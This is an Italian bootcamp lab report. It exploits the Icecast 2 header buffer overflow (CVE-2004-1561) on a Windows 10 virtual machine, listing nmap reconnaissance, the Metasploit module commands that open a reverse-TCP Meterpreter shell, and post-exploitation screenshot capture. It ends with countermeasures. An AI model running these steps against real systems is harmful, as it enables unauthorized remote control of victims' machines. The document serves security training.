

Report Hacking Windows con Icecast

S7L4

Macchina	Ruolo	IP	OS / Servizi
Kali Linux	Attaccante	192.168.5.17	Metasploit Framework v6.4.116-dev
Windows 10	Target	192.168.5.29	Windows 10 - Icecast 2 Win32 su porta 8000

1. Obiettivo

L'obiettivo dell'esercitazione è sfruttare una vulnerabilità di tipo **buffer overflow** nel servizio **Icecast 2** in esecuzione su una macchina Windows 10, ottenendo una sessione **Meterpreter**. Una volta ottenuto l'accesso, si procede a verificare l'indirizzo IP della vittima tramite ipconfig e a catturare uno screenshot del desktop della macchina compromessa.

Nota: Tutte le tecniche sono state applicate esclusivamente in ambiente UTM locale controllato. Nessun sistema esterno è stato coinvolto. L'esercitazione è svolta a fini didattici nell'ambito del corso Epicode Cybersecurity Bootcamp.

2. Configurazione dell'Ambiente

Rete	192.168.5.0/24
Gateway	192.168.5.1
Attaccante	Kali Linux - 192.168.5.17
Target	Windows 10 - 192.168.5.29
Hypervisor	UTM su macOS (Apple Silicon)
Tool principale	Metasploit Framework v6.4.116-dev
Vulnerabilità	CVE-2004-1561 - Icecast 2 Header Buffer Overflow

3. Fase 1 Reconnaissance con Nmap

Step 1 Identificazione host Windows sulla rete

Eseguita una scansione Nmap con rilevamento versioni sull'intera subnet per identificare la macchina Windows 10 e i servizi attivi. La macchina è stata identificata all'IP **192.168.5.29** tramite i servizi Microsoft RPC, IIS e netbios-ssn.

```
nmap -sV 192.168.5.0/24

Nmap scan report for 192.168.5.29
80/tcp open  http Microsoft IIS httpd 10.0
135/tcp open  msrpc Microsoft Windows RPC
139/tcp open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows 7-10
Service Info: OS: Windows
```

Step 2 Rilevamento Icecast sulla porta 8000

La scansione iniziale non ha rilevato Icecast. Una scansione mirata sulla porta **8000** (porta di default di Icecast) ha confermato il servizio attivo dopo l'avvio manuale del programma sulla VM Windows.

```
nmap -sV -p 8000 192.168.5.29

PORT STATE SERVICE VERSION
8000/tcp open  http Icecast streaming media server
```

Icecast streaming media server confermato sulla porta 8000

4. Fase 2 Exploitation con Metasploit

Step 3 Exploit icecast_header e sessione Meterpreter

Caricato il modulo `exploit/windows/http/icecast_header` che sfrutta un buffer overflow nell'elaborazione degli header HTTP di Icecast 2. Inviando una richiesta con un numero eccessivo di header, è possibile sovrascrivere il return address ed eseguire codice arbitrario.

```
msf > use exploit/windows/http/icecast_header
msf exploit(windows/http/icecast_header) > set RHOSTS 192.168.5.29
RHOSTS => 192.168.5.29
msf exploit(windows/http/icecast_header) > set LHOST 192.168.5.17
LHOST => 192.168.5.17
msf exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.5.17:4444
[*] Sending stage (190534 bytes) to 192.168.5.29
[*] Meterpreter session 1 opened
(192.168.5.17:4444 -> 192.168.5.29:49526)

meterpreter >
```

Sessione Meterpreter aperta su Windows 10 - payload `windows/meterpreter/reverse_tcp`.

5. Fase 3 Post-Exploitation

Step 4 Verifica IP della vittima con ipconfig

Eseguito il comando `ipconfig` dalla sessione Meterpreter per visualizzare la configurazione di rete della macchina Windows compromessa. L'IP della vittima è stato confermato.

```
meterpreter > ipconfig

Interface 6
=====
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 0a:cf:10:76:09:9b
IPv4 Address : 192.168.5.29
IPv4 Netmask : 255.255.255.0
```

Step 5 Screenshot del desktop della vittima

Eseguito il comando screenshot dalla sessione Meterpreter per catturare l'immagine del desktop della macchina Windows compromessa in tempo reale. Lo screenshot ha rivelato il desktop con i seguenti elementi visibili: Cestino, cartella Malware, Icecast2 Win32, Programmi per Malware, Tomcat e Google Chrome.

```
meterpreter > screenshot
Screenshot saved to: /home/kali/pmHZFpQY.jpeg
```

Screenshot catturato con successo desktop Windows 10 della vittima visibile in tempo reale dalla sessione Meterpreter.

6. Flusso Completo dell'Esercitazione

#	Fase	Azione	Risultato
1	Reconnaissance	nmap -sV 192.168.5.0/24	Windows 10 trovato a 192.168.5.29
2	Reconnaissance	nmap -sV -p 8000 192.168.5.29	Icecast su porta 8000 confermato
3	Exploitation	exploit/windows/http/icecast_header	Meterpreter session 1 aperta
4	Post-Exploit	ipconfig	IP vittima: 192.168.5.29 confermato
5	Post-Exploit	screenshot	Desktop Windows 10 catturato

7. Conclusioni

L'esercitazione ha dimostrato come un software obsoleto e non aggiornato rappresenti un vettore di attacco critico. La vulnerabilità CVE-2004-1561 di Icecast 2 è nota dal 2004 oltre 20 anni fa eppure rimane sfruttabile su sistemi che non applicano aggiornamenti di sicurezza. Una volta ottenuta la sessione Meterpreter, l'attaccante ha pieno controllo visivo e operativo della macchina vittima.

Vulnerabilità	Gravità	Contromisura
Icecast 2 - Buffer Overflow header HTTP (CVE-2004-1561)	Critica	Aggiornare o disinstallare Icecast, usare versioni supportate

Software obsoleto non aggiornato da oltre 20 anni	Critica	Implementare patch management e vulnerability scanning periodico
Nessun firewall blocca la porta 8000	Alta	Limitare l'accesso a servizi di streaming solo a IP autorizzati
Assenza di EDR/AV per rilevare il payload Meterpreter	Alta	Installare e aggiornare antivirus/EDR su tutte le macchine Windows
Servizio Icecast avviato con privilegi utente elevati	Media	Eseguire i servizi con il principio del minimo privilegio

DISCLAIMER: Tutte le tecniche descritte sono state applicate esclusivamente in ambiente virtuale locale a fini didattici. L'utilizzo non autorizzato su sistemi reali è illegale ai sensi del Codice Penale italiano (art. 615-ter, 635-bis, 617-quater).